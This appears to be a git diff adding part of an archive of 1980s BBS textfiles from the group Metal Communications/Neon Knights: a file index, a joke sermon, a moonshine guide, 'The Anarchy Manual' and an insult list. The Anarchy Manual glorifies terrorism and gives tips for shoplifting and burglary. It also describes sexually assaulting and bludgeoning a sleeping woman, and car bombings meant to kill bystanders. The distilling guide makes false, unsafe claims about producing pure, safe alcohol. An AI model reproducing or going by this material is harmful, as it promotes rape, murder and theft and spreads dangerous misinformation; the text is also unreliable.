How to Fuck the Dead, by The Necrophiliac of the Neon Knights +
devil.txt 7400
The Devil Files by The Blade of Neon Knights +
dirtfigh.ana 6412
Fighting Dirty, by Jolly*Roger +
dr00gs.txt 4271
How to Be a Real Drug User, by Jolly Roger of Neon Knights/Metal Communications +
drive1.txt 7233
Driving Fun I by The Blade and the High Lord Sata of the Neon Knights/Metal Communications +
driving.ana 6556
Driving Fun I, by The Blade and High Lord Satan +
drugs.fun 3982
How to Be a Real Drugster by Jolly Roger of Neon Knights/Metal Communications +
dryice.txt 12682
A Step by Step Guide to Making a Dry Ice Gun by the Voice Over of Metal Communications +
easter.txt 4459
How to kill the Easter Bunny Dead! By The Outland of The Neon Knights +
fraud!!.ana 18228
"Mail/Telephone Fraud" Volume I by The Outland +
fucked.txt 1735
Get Fucked Up Fast, by The Blade of Neon Knights +
fuckfast.fun 1625
How to Get Fucked Up Fast, by the Blade (December 16, 1984) +
fuckfast.txt 2460
How to Get Fucked Up Fast, by the Blade +
fullases.hum 28172
The Complete Guide to Assholes, by The Blade +
golf.txt 3863
Golf Cart Fun, by The Shadow Lord and the Metallian of Metal Communications +
golfcart.ana 4000
Fun With Golfing Carts, by Shadow Lord +
goterror.ana 12023
The Anarchy Manual, Volume #1 (Alternate Version) +
gtemsgs.phk 6272
GTE Recordings by Baby Demon +
hooka.txt 2316
The Hooka, by The Blade of Neon Knights +
hypno.txt 9897
A Guide to Hypnotism by The Jester of Metal Communications +
hypnosis.txt 10880
A Guide to Hypnotism by The Jester of Metal Communications +
icegun.ana 11253
A Step By Step Guide to making a Dry Ice Gun +
idiots.hum 9617
What Assholes Do II, by The Blade and The Metallian +
idiots.txt 4480
What Idiots Do, by The Blade, of the Neon Knights +
index.txt 6636
The Official List of Neon Knights and Metal Communications Releases by The Metallian +
jewfile.txt 8041
"The Jew File", Racist Rant by Jolly Roger of Neon Knights/Metal Communications +
joespc.hum 14184
Joe's PC Instructions +
killsant.hum 3497
How to Kill Santa Claus Dead! by the Outland +
lettgeek.hum 4845
A Letter from a Confirmed Geek +
metalw4.hum 9349
The Metallian's Indepth Disscussions! #4 +
mknk.hum 5341
Official List of MC/NK Releases as of 1986 +
mormons.hum 8395
How to Bother, Disturb, Kill, Perturb, and Upset your local Mormons, by the Prophet of Metal Communications and Neon Knights (80 Column Version) +
mormons.txt 8394
How to Bother, Disturb, Kill, Pertrub, and Upset your Local Mormons, by the Prophet of Metal Communications and Neon Knights (40 Column Version) +
neon09.txt 9455
A Guide to Hypnotism by The Jester of Metal Communications (Uppercase) +
neon10.txt 11032
The Birth of a Rodent by The Warlock Lord of Neon Knights / Metal Communications +
neon13.txt 4145
How to Construct a ZOOM Tube by The Metallian and Rat Salade of Metal Communications/Neon Knights +
neon15.txt 6402
Raising Hell Volume 3: I'm Fucked Up Who Gives a Shit, by The Blade of Neon Knights +
neon23.txt 4714
Picking Combination Locks, by The Byte Byter of Metal Communications +
neon51.txt 3357
Amphetamenes from The Anarchist Cookbook, typed in by Zandar Zan of Metal Communications +
neon56.txt 3632
How to Kill Santa Claus Dead! By the Outland of Metal Communications/Neon Knights +
neon_kni.rl 5376
Official Neon Knights/Metal Communications File List (March 27, 1986) +
nighfun!.ana 5124
Shit, Here Goes the Neighborhood, by The Dark Wizard +
picking.fun 5120
Picking Master Combination Locks, by Byte Byter +
procond.hum 10666
The Pros and Cons of DEATH! By the Blade +
r0dent.hum 10303
The Birth of a Rodent, by Warlock Lord +
raishel2.txt 5933
Raising Hell Volume II: Insane as Satan on a Sunday by the Blade +
raishell.ana 6420
Raising Hell, Volume One, by The Blade +
rodent.txt 10994
The Birth of a Rodent, by The Warlock Lord of Neon Knights/Metal Communications +
sabotage.txt 6019
Sabotage on Mischeif Night, by the Neon Knights +
sadist.ana 6382
Sadistic Ideas by The Outland +
samhain.txt 4699
Samhain III: November Coming Fire Lyrics, by The Rapist of Neon Knights +
sister.txt 4834
Making Your Sister's Life a Living Hell, by The Metallian of Metal Communications/Neon Knights +
slaytnic.ana 5909
A Rogue's Gallery of Demons That Will Conquer the Earth, by Blade +
smokepot.txt 8654
The Art of Smoking Pot, by the Byte Byter of Metal Communications +
speaker.txt 3504
How to Make Stereo Threw The Fone, by The Necrophiliac of Neon Knights (July 27, 1986) +
sterepho.hum 3761
"How to Make Stereo threw the Fone", by Necrophiliac +
suicide.txt 10379
Getting Others to Commit Suicide by the Blade of Neon Knights +
this.country.su 5760
This Country Sucks, Because: By The Outland of Neon Knights +
thiscou.txt 5887
This Country Sucks, Because... by the Outland of Metal Communications +
thrashbr.ana 4304
How to Thrash in Your Neighbor's Bathroom, by The Blade +
videotap.ana 19757
How to Get Free Videotapes, by The Duke of Metal Communications +
zoomtube.txt 2851
How to Construct a Zoom Tube by The Metallian and Rat Salade of Metal Communications / Neon Knights +

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+ diff --git a/textfiles.com/groups/METALCOMMUNICATIONS/.windex.html b/textfiles.com/groups/METALCOMMUNICATIONS/.windex.html new file mode 100644 index 00000000..72b242a9 --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS/.windex.html @@ -0,0 +1,112 @@ + +T E X T F I L E S + +

Groups: Neon Knights / Metal Communications

+

+Based around New Jersey but quickly spreading nationwide, Metal Communications +was one of the odder blends of Textfile Writing Geeks and Metalheads. Heavy +Metal music comprises a major theme in the textfiles, as well as a very strong +bent of generally messing up the planet with a crowbar, one mailbox at a time. +Metal Communications lasted about three years, from 1983 to 1986. +

+The influence of Metal Communications (both the strong influx of anarchy +files and a general satanic bent) is evident in a lot of freelance anarchy +files and the work of such groups as the Cult of the Dead Cow, who had members +in Metal Communications before cDc really became a strong voice of its own. +

+A smaller group of members of Metal Communications started calling themselves +The Neon Knights, which included the leaders of Metal Communications and a +few chosen minions. Their files tended to be of a higher quality than the +rest, or at least longer. Generally, the Neon Knights also ran the Metal +Communications distribution BBSs and AE lines. +

+ + + + + +
+
Filename
Size
Description of the Textfile
1stsermo.hum 2134
The First Sermon, by the Macster +
achohol.txt 4030
Alcohol Manufacture by the Shadow Lord of Metal Communications +
anarcman.met 11426
The Anarchy Manual, Volume 1, by Black Hand Society +
asshole1.txt 3633
What Assholes Do, by the Blade of the Neon Knights/Metal Communications +
asshole2.txt 10086
What Assholes Do ][, by The Blade and the Metallian of Neon Knights/Metal Communications +
asshole3.txt 6562
What Assholes Do III: AE Assholes, by The Master of Reality and Zandar Zan of Neon Knights/Metal Communications +
assholes 9349
What Assholes Do II by The Metallian of Metal Communications +
autoweap 7963
Full-Auto: an Introduction by the Angel of Destiny by Metal Communications +
autoweap.ana 7543
Full Auto: An Introduction by the Angel of Destiny +
barbs.fun 5058
Barbituates from the Book The Anarchist Cookbook, typed by Zandar Zan of Neon Knights/Metal Communications +
beer.txt 4023
Alcohol Manufacture by The Shadow Lord of Metal Communications +
belhel1.txt 10168
Bell Hell Volume #1 by the Dutchman of Neon Knights/Metal Communications +
belhel2.txt 13662
Bell Hell Volume #2, by The Dutchman of Metal Communications +
carding.hum 4669
The Basics of Carding, by The Metallian +
carding2.txt 12505
Carding Volume II by The Metallian of Metal Communications +
carding3.txt 7818
Carding III, Higher Learning by The Metallian of Metal Communications Inc./ Neon Knights +
carpare.ana 5887
How to Card Shit When You Still Live With Your Parents +
chrisfun.ana 1982
Christmas Fun with The Outland +
co2.txt 2250
The CO2 Canister Bomb by The Shadow Lord of Neon Knights/Metal Communications +
country.ana 6534
This country sucks, because... by The Outland +
deadfuck.txt 3759
How to Fuck the Dead, by The Necrophiliac of the Neon Knights +
devil.txt 7400
The Devil Files by The Blade of Neon Knights +
dirtfigh.ana 6412
Fighting Dirty, by Jolly*Roger +
dr00gs.txt 4271
How to Be a Real Drug User, by Jolly Roger of Neon Knights/Metal Communications +
drive1.txt 7233
Driving Fun I by The Blade and the High Lord Sata of the Neon Knights/Metal Communications +
driving.ana 6556
Driving Fun I, by The Blade and High Lord Satan +
drugs.fun 3982
How to Be a Real Drugster by Jolly Roger of Neon Knights/Metal Communications +
dryice.txt 12682
A Step by Step Guide to Making a Dry Ice Gun by the Voice Over of Metal Communications +
easter.txt 4459
How to kill the Easter Bunny Dead! By The Outland of The Neon Knights +
fraud!!.ana 18228
"Mail/Telephone Fraud" Volume I by The Outland +
fucked.txt 1735
Get Fucked Up Fast, by The Blade of Neon Knights +
fuckfast.fun 1625
How to Get Fucked Up Fast, by the Blade (December 16, 1984) +
fuckfast.txt 2460
How to Get Fucked Up Fast, by the Blade +
fullases.hum 28172
The Complete Guide to Assholes, by The Blade +
golf.txt 3863
Golf Cart Fun, by The Shadow Lord and the Metallian of Metal Communications +
golfcart.ana 4000
Fun With Golfing Carts, by Shadow Lord +
goterror.ana 12023
The Anarchy Manual, Volume #1 (Alternate Version) +
gtemsgs.phk 6272
GTE Recordings by Baby Demon +
hooka.txt 2316
The Hooka, by The Blade of Neon Knights +
hypno.txt 9897
A Guide to Hypnotism by The Jester of Metal Communications +
hypnosis.txt 10880
A Guide to Hypnotism by The Jester of Metal Communications +
icegun.ana 11253
A Step By Step Guide to making a Dry Ice Gun +
idiots.hum 9617
What Assholes Do II, by The Blade and The Metallian +
idiots.txt 4480
What Idiots Do, by The Blade, of the Neon Knights +
index.txt 6636
The Official List of Neon Knights and Metal Communications Releases by The Metallian +
jewfile.txt 8041
"The Jew File", Racist Rant by Jolly Roger of Neon Knights/Metal Communications +
joespc.hum 14184
Joe's PC Instructions +
killsant.hum 3497
How to Kill Santa Claus Dead! by the Outland +
lettgeek.hum 4845
A Letter from a Confirmed Geek +
metalw4.hum 9349
The Metallian's Indepth Disscussions! #4 +
mknk.hum 5341
Official List of MC/NK Releases as of 1986 +
mormons.hum 8395
How to Bother, Disturb, Kill, Perturb, and Upset your local Mormons, by the Prophet of Metal Communications and Neon Knights (80 Column Version) +
mormons.txt 8394
How to Bother, Disturb, Kill, Pertrub, and Upset your Local Mormons, by the Prophet of Metal Communications and Neon Knights (40 Column Version) +
neon09.txt 9455
A Guide to Hypnotism by The Jester of Metal Communications (Uppercase) +
neon10.txt 11032
The Birth of a Rodent by The Warlock Lord of Neon Knights / Metal Communications +
neon13.txt 4145
How to Construct a ZOOM Tube by The Metallian and Rat Salade of Metal Communications/Neon Knights +
neon15.txt 6402
Raising Hell Volume 3: I'm Fucked Up Who Gives a Shit, by The Blade of Neon Knights +
neon23.txt 4714
Picking Combination Locks, by The Byte Byter of Metal Communications +
neon51.txt 3357
Amphetamenes from The Anarchist Cookbook, typed in by Zandar Zan of Metal Communications +
neon56.txt 3632
How to Kill Santa Claus Dead! By the Outland of Metal Communications/Neon Knights +
neon_kni.rl 5376
Official Neon Knights/Metal Communications File List (March 27, 1986) +
nighfun!.ana 5124
Shit, Here Goes the Neighborhood, by The Dark Wizard +
picking.fun 5120
Picking Master Combination Locks, by Byte Byter +
procond.hum 10666
The Pros and Cons of DEATH! By the Blade +
r0dent.hum 10303
The Birth of a Rodent, by Warlock Lord +
raishel2.txt 5933
Raising Hell Volume II: Insane as Satan on a Sunday by the Blade +
raishell.ana 6420
Raising Hell, Volume One, by The Blade +
rodent.txt 10994
The Birth of a Rodent, by The Warlock Lord of Neon Knights/Metal Communications +
sabotage.txt 6019
Sabotage on Mischeif Night, by the Neon Knights +
sadist.ana 6382
Sadistic Ideas by The Outland +
samhain.txt 4699
Samhain III: November Coming Fire Lyrics, by The Rapist of Neon Knights +
sister.txt 4834
Making Your Sister's Life a Living Hell, by The Metallian of Metal Communications/Neon Knights +
slaytnic.ana 5909
A Rogue's Gallery of Demons That Will Conquer the Earth, by Blade +
smokepot.txt 8654
The Art of Smoking Pot, by the Byte Byter of Metal Communications +
speaker.txt 3504
How to Make Stereo Threw The Fone, by The Necrophiliac of Neon Knights (July 27, 1986) +
sterepho.hum 3761
"How to Make Stereo threw the Fone", by Necrophiliac +
suicide.txt 10379
Getting Others to Commit Suicide by the Blade of Neon Knights +
this.country.su 5760
This Country Sucks, Because: By The Outland of Neon Knights +
thiscou.txt 5887
This Country Sucks, Because... by the Outland of Metal Communications +
thrashbr.ana 4304
How to Thrash in Your Neighbor's Bathroom, by The Blade +
videotap.ana 19757
How to Get Free Videotapes, by The Duke of Metal Communications +
zoomtube.txt 2851
How to Construct a Zoom Tube by The Metallian and Rat Salade of Metal Communications / Neon Knights +

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+ diff --git a/textfiles.com/groups/METALCOMMUNICATIONS/1stsermo.hum b/textfiles.com/groups/METALCOMMUNICATIONS/1stsermo.hum new file mode 100644 index 00000000..4d0b23b3 --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS/1stsermo.hum @@ -0,0 +1,48 @@ + "The First Sermon" + Typed in (on Macintosh) by The Macster + Transcribed to //e by The Prophet + Thanx to A.M. wherever you are? + Special Thanx to: The Metallian + Anyone caught editing this text will be subject + to the punishment of the one and only "Roboz" + + A Metal Communications/Neon Nights Presentation of course + *\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/* + * Call: Metalland West System 10Megs/AE/BBS/Catfur/Elite <503> 538 - 0761 * + */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\* + + Once upon a time, there was a young monk with a problem. To solve his problem +the pupil went to the high priest and said "I have tried and tried but I cannot +relax. Do you, oh wise one, have a bit of advice for me?" "Yes", said the high +priest, "put martinis in your water pitcher; this should help you to relax." The +young monk followed the orders, and during his sermon a week later he talked up +a storm. After the sermon, the young monk went to the high priest to find out +how he had done with his first sermon. The high priest paused after this +question and said "OK, but there are a few things you should know: + +First of all, + Sip the martinis, don't gulp them down by the glassful. + + There are ten commandments, not twelve. + + There are twelve diciples, not ten. + + Its the Father, Son, and the Holy Ghost, not Big Daddy, Junior, and Spook. + + It's Jesus Christ and his diciples, not J.C. and the boys. + + David slew Goliath, not kicked the shit out of him. + + It's the Holy Cross, not the Big "T". + + They nailed Jesus to the Cross, not tacked his ass to a tree. + + It's the Virgin Mary, not Mary with the cherry. + +And last but not least, + There's a taffy pull at Peter's, not a Peter pull at Taffy's. + + */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\* + * This has been another file brought to you by The Metallian fo MWS. * + *\*/*\*/*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\* + \ No newline at end of file diff --git a/textfiles.com/groups/METALCOMMUNICATIONS/achohol.txt b/textfiles.com/groups/METALCOMMUNICATIONS/achohol.txt new file mode 100644 index 00000000..89b67b63 --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS/achohol.txt @@ -0,0 +1,68 @@ +ACHOHOL.ONE - How to make Booze + + +%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/% +/% %/ +%/ Alcohol Manufacture /% +/% %/ +%/ Written By: /% +/% %/ +%/ The Shadow Lord /% +/% %/ +%/ A Metal Communications Inc., Presentation. /% +%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/% +/%/%/% Call: /\/\etalland 1 10megs/AE/BBS/Cat-Fur Line-[503]538-0761 /%/%/%/ +%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/%/% + + One of the easiest things to make in my opinion is alcohol. It is easy to +make and has many uses. You can make Ethyl Alcohol simply by fermenting corn, p +otatoes, sugar cane, barley & hopps, grapes, etc and then distilling the alcoho +l and purifying it. I recommend corn because it is inexpensive and it +already has its own sugar & yeast, unlike potatoes. Also that is what I use +and it seems to work fine.. and is also a great american tradition (moonshine). + + First you must obtain (steel) a holding tank. I recommend those 6 gallon +alhambra water jugs which are often left on porches and in driveways for refill +s. Now go buy a shitload of fresh or frozen corn. Frozen will be easier +to deal with because it is already cut off the cobb. Put about 10 bags of corn +in each jug, because the CO2 being released sometime pushes it up and you could +get the shit all over your floor. Add just enough luke-warm water to cover the +surface and leave the top off (exposed to air) for about 2 weeks in room temper +ature. After a few days it will look & smell like puke, and it will bubble a li +ttl +e. After the bubbling stops, you must distill it, I am not sure the boiling poi +nt of alcohol, so look it up or ask a science teacher or just +keep it a few degrees below that of water (95-99 c), this will boil the alcohol +off into the retainer and leave the puke and water behind, if you boil it to hi +gh some of the corn or water will go over with it and you'll get that whiskey +flavor and a lesser proof. If you do it right you should get 200 proof ethyl al +cohol with no whiskey flavor, so take your time distilling. If you get big bubb +les, they are water, lower the temperature. Anyway once your done, pour +it through activated charcoal to remove the nasty shit that make you retarted & + blind. Now you have 200 proof ethyl alcohol that is safe to drink, but before +you do so I recommend you water it down a little with distilled water, or you'l +l p +robably die the first swig. Try making it 50/50 to get 100 proof. Oh +yea, you can make any proof you want but you better keep it under 100 proof, 15 +0 proof for very experienced drinkers (derilects). I myself have never had +anything above 138 proof and that was probably the worst exerience of my life. +Try pouring some in punch or orange juice. Remember that proof is roughly perce +ntage * 2, so 50 % alcohol would be 100 proof, 43% would be 86 proof, etc. + +here is a list of what ferments into what (flavor) + +ingrediant product usual proofage + +potatoes vodka 100 +sugar cane rum 86-94 +corn whiskey 86-132 +barley & hopps beer 4-6 +grapes wine 22-30 +corn moonshine 100-151 + +If you don't know how to make a still, look it up in a science book, encycloped +ia, or the text file by Lex Luthor. + + +I take no responsibility to whoever fucks up and gets retarted, blind, or just +dies. diff --git a/textfiles.com/groups/METALCOMMUNICATIONS/anarcman.met b/textfiles.com/groups/METALCOMMUNICATIONS/anarcman.met new file mode 100644 index 00000000..518ef75e --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS/anarcman.met @@ -0,0 +1,215 @@ + !> + * * * * * * !>lack Hand Society * * * * * * + * * * * * ------------------- * * * * * + * * * * * * in association with * * * * * * + + Metal Communications and The Neon Knights + + present + + -=- THE ANARCHY MANUAL -=- + -=- volume one -=- + + The Anarchy Manual + <------------------> + Written by: Jonin Meka of + The Black Hand Society + +Section One: The essence of terrorism + + Welcome ! In the following text I will attempt to explain to you +the way of Anarchy and how to be an Anarchist. One major section +of Anarchy is terrorism. Terrorism is to me the best thing ever +to grace man's path. Personally I love terrorism because- well +the reason is because I really hate strangers. Sometimes I'll +decide to blow someone's car or house or even the person all +together just because they don't look right. But now back to +terrorism: Terrorism defined as "mass-organized ruthlessness" and +a terrorist is defined as "one who rules by terror." Both of +these descriptions are fairly accurate but to me terrorism is the +hatred of all good, organization, love, and anything liked by +normal morons who live in our disguting society we all call +free ! Therefor terrorism is the destruction of society. I love +that ! To be a terrorist you must have this attitude ! Don't read +any farther unless you are a terrorist. Well, now the we all have +the understanding of terrorism we can begin. Note- you don't have +to have killed to be a terrorist. Just be sure you love love to +cause terror !!! + +Section Two: Simple Terrorism + + Welcome again ! Before I write anymore I must tell you that the +reason I am writing this manual is because I wish to spread +terroristic ideals and ideas. Also I wish to tell you that Black +Hand Society rules. Well, on with it. The following are some of +my own little goodies that I like to do once in a while. One more +thing- this manual does not explain how to make destruction +devices or any of that kind of stuff. And finally one more thing- +I find experimentation is best when trying to terrorise someone +or something. Here we go ! + + section two point one: ding dong ditch + + Ding dong ditch (DDD) is probably one of the simplest forms of +terrorism known. It is played by millions and is also the check +point for a future terrorist. What I mean is that we a kid first +plays DDD he sub-conscously decides if he will be a terrorist. I +still love to play this game but I add little things here and +there like ringing the dorr bell,running,and then shooting the +moron who answers with a BB gun or with a rock shot with a wrist +rocket. Other things are possible too such as ringing the +dorrbell, and not running. This takes great courage and I find it +stupid but extremely funny ! Like the time my friend rang some +morons doorbell then pretended to be selling....well shall I say +sexual protection for both men and women. There was one problem +with this though- while my friend was talking I couldn't stop +cracking my head off ! So finally when the moron decided to (I +can't belive this happened) buy some I just had to stop the +humility by taking an M-80 and shooting it (with the Wrist +Rocket) through the guys window. Boom ! That was the end of +"Trojan Distributing Western New York Division." (God was that a +laugh!) + + section two point two: shoplifting + + Ahhh my favorite. Here is the best and most economical way to +obtain anything you desire: Shoplifting ! One note- this is +highly dangerous in these days of hidden cameras and microphones +so be very careful and if all else fails and you're caught but +some stupid moron of a "store-detective" just be sure to keep a +cube of "potassium chloide plastic explosives" with so you can +light it while the moron has you by the arm and is taking you +whereever it is they take you when your caught. Well on to some +safety clauses. For one always be silent while shoplifting as of + the microphones (if any). Next always look for + two-way mirrors, black spots on ony store walls, + and most of all people who stay in a store for + more than an hour- The're Narcs ! And now for + some advanced techniques. One I find to be fun is + to stuff my jacket then go up to the register and + then buy something small ! That really confuses + the people. Another trick is to have your friend + buy something while you talk to him and at the + same time have a goodie right in your own hand + then just walk out of the store still talking + with your friend. One last thing- bagging goods + with stuff you already bought is stupid unless + the store doesn't give reciets but what the f--k + if you're good enough !!! + + section two point three: illegal entry + + Another of my favorites. What is there really to say about +illegal entry except for it is a great way to attract attention +to a neighboorhood. I mean with all the cops that come around +the next day. Also this is a great way to obtain valuble goodies +like electronic equipment. One thing never do this in your own +neighboorhood because you won't be able to use the goodies you +obtain. Well here we go again. Never break into a house with +people in it if you are trying to obtain goodies and also never +break into a house with an alarm (no s--t!). Always observe the +area you're going to break into before entering and look through +the window next to the front door to see if they have an alarm. +There are several ways to break in: One is to lockpick your way +through but to the novice this may take time and years of +learning but one advantage is that it is real silent and +undetectable. Another way is to use the BB gun Ice pick method. +First bring your BB gun (pistol preferable) and shoot a small +hole next to the lock. Then use the Ice pick or some other device +to undo the lock on the window. Never leave anything of yours at +the scene. Cat numbers and the such are traced quick. One final +way to enter is to just crash the window with a stick. This +is really noisy but fun. If you want to do this the target window +should be next to another noisy place like a street or something. +Also don't spend to much time in the place after entering and +most off wear gloves and a black suit and always enter a night. +One more,thing I find it enjoyable to paint some type of remark +or sarcastic saying (real big of course) on one of the main +walls. Such an example would be a certain symbol like a pentagram +or a saying like "fuck off" (simple but suggestive) or to be +creative "you have bad taste in panties and curtains" or my +favorite "pigs have little dicks." Most of all be creative when +signing you're little messages usually I sign them by putting +"You're worst dream" and "love, John". You may find it wasteful +to write such messages but personally I think terrorism should be +funny, sarcastic, and confusing. Two more things- try not to +leave any trace of yourself such as articles of your clothing or +even your blood (you might cut yourself if you break the window). +And if you consider yourself a common theif, DONT! You are an +Anarchist and a Terrorist !!! + + section two point four: Misc. + + Here are other simple things you might like to do: + + 1) Enter a place with people in it and sneak up them and then + totally surprise the f--k out of them while the're sleeping. + You might do this by screaming and hollering at the foot of + their bed or by setting their bedroom curtain on fire and + then scream and holler at the foot of their bed. Scream "Get + out the house !!! There is a f--king fire !!!" Also if you're + horny you might decide to pretend to be the husband and + molest the wife while she's sleeping. Think of the + possibilites. Pretending to be the husband is my favorite + because....well I'm horny. I start off by gently massaging + the women's breast and then taking my other hand and + venturing into beaver land ! Another thing I find enjoyable + is if the the women is alone in the house I do the above but + when she wakes up I simply knock her out with the stick I + used to break in with. If you plan to do this be sure that as + soon as she opens her eyes you give her a swift blow to the + head. Don't wait for her to scream for God's sake ! After you + have done this it's one for all and one for one. One more + thing if you're really horny I suggest you tie her up and + then wait for her to wake. Note- Do note cosider this rape ! + It is not ! It is terrorist tension relief. Also it was done + under pleasant circumstances. + + 2) Letting the air out of people's car tires has always been fun + but I prefer to blow the tires up with impact explosives + better. Also I recomend blowing up the whole car. This is not + only fun but it makes great reading light. May I also suggest + you do the above before you read the rest of the manual. That + way after you blow the car up you can sit next to a great + reading light and read some more of this manual while the car + burns. And finally one more thing- I love to watch the people + scurrying trying to put the car out. I mean if they had any + brains they would not it is impossible exspecially if you put + a buck of Napalm in their front seat. Also I suggest you + paint the ground surrounding the car with impact explosives. + That way when the car blows up (or just starts on fire) as + soon as the people run to the car and watch it burn they'll + step on the dried explosives and blow themselves up. Note- + This is really cruel but what the hell ! You're a terrorist ! + + 3) Lastly, suggest you....well fuck I'll let you create your own + little goodies for you to do. I've given you a start now go + out and experiment ! Note- I have lots more but I don't want + to give away all my secrets. (maybe in later issues.) + + Section Three: Destruction (and death as a result) + + Many of you I suspect don't want to become murders so I suggest +you dont read any further.It takes a great hatred to kill a human +being and I highly recomend you don't do it. Not only is it +really evil but you will have severe guilt trips and may even +commit suicide as a result. Personally I don't care anymore and +could give a fuck about everything but occasionally I do regret +all the things I've done. Please don't read the rest of the +manual unless for entertainment purposes otherwise welcome to the +world of Hell. (ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha +ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha +ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha !) +(Stupid ? Well yes to a mere human but to a terrorist the above +is a sign of greatness. I mean a terrorist should be crazy !!!) + +(This concludes this volume of The Anarchy manual. Watch for + volume two in the next couple of months. ) + + + ++--------------------------+ +! Brought to you by Marrix ! Well, That was fun huh? I never found +! Call The Surf Board ! number 2. I removed about 1000 bytes of +! (412)/785-DATA ! phone numbers, due to the files age. ++--------------------------+ diff --git a/textfiles.com/groups/METALCOMMUNICATIONS/asshole1.txt b/textfiles.com/groups/METALCOMMUNICATIONS/asshole1.txt new file mode 100644 index 00000000..7470fd33 --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS/asshole1.txt @@ -0,0 +1,149 @@ +Format:40col +<><><><><><><><><><><><><><><><><><><> +<> <> +<> What Assholes Do..... <> +<> <> +<> By THE BLADE <> +<> A Neon Knight Presentation <> +<> Inspired by: <> +<> "The Real Pirate" <> +<> <> +<><><><><><><><><><><><><><><><><><><> +<> Dist: Metal Communications <> +<> & <> +<> The Neon Knights <> +<><><><><><><><><><><><><><><><><><><> + + After viewing "The Real Pirate" file + I saw that a few things were missing, + mosly about what 'assholes do'. If + over %50 of this following file + pertains to you....I wood get out of + the Pirating business untill you have + reserected a new personallity. + +<:><:><:> What Assholes Do <:><:><:> + +Assholes hang up on a SYSOP when they +answer the phone. + +Assholes hang up when a SYSOP breaks +in to see who they are. + +Assholes call AE's and download 100 +programs and when the SYSOP wants a +new ware that they have, they want +something in return. + +Assholes crash AE's and BBS's (only +crashing a system is ok when the sysop +is an Asshole or the system really +sucks.) + +Assholes dont know where the DOS is +located on a disk. + +Assholes stay in on friday and saturday +nights because they have no friends. + +Assholes call BBS's and AE's from 9 am +untill 11 pm because they have nothing +better to do. + +Assholes threaten to blow up your +system with a "yellow & black box". + +Assholes listen to the TOP 40. + +Assholes get all A's on their report +card...and are very upset with a 'B'. + +Assholes call the same ae every 2 hours +to see if there are any new wares. + +Assholes have pulse dial phones. + +Assholes dont know how much an '800' +call costs. + +Assholes USALLY (there are exceptions) +have MM//e's, Networker, prometheus, or +other modems that suck fuck. + +Assholes buy ss/sd disks for $32 a +box. + +Assholes usally have Television sets +for a monitor. + +Assholes name theirselves after dumb +animals: THE CAT, THE WAREZWOLF, +THE PINK PANTHER, (PUT OTHER ASSHOLES +HERE). + +Assholes have never touched a girl in +their life. + +Assholes think 'control characters' are +police in a movie. + +Assholes live in towns with the +population thats under 500. + +Assholes wear 'parachute pants'. + +Assholes dont play sports. + +Assholes have never used an Illegal +substance in their life. + +Assholes use handles that are over +3 words long. + +Assholes think krackowicz is still +around. + +Assholes have daisy wheel printers. + +Assholes dont have a phone next to +their computer. + +Assholes use their real name instead +of a handle. + +Assholes have hours on their systems. + +Assholes don't own their computer. + +Assholes only have 48 k. + +Assholes pay to get their modem +installed. + +Assholes like Tina Turner, New Edition, +Cindy Lapur, Michael Jackson, Prince, +and The Pointer Sisters. + +Assholes are Assholes..... + +-------------------------------------- +I've been wanting to get that off my +chest for a long while. And dont +forget, not everyone is perfect. So +if more than 50 percent of this file +appilies to you.....Get A REAL life. + +()()()()()()()()()()()()()()()()()()() + +What Assholes Do ][ will be at +an AE near you soon... + +Call the Metal Catsend- +201-879-6668 Indvidual passwords + +Metalland AE/BBS/CATSEND/10megs + (503)538-0761 + +()()()(- A Neon Knight Release -)()()() +The Blade///1-1-85///Neon Knights////// +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/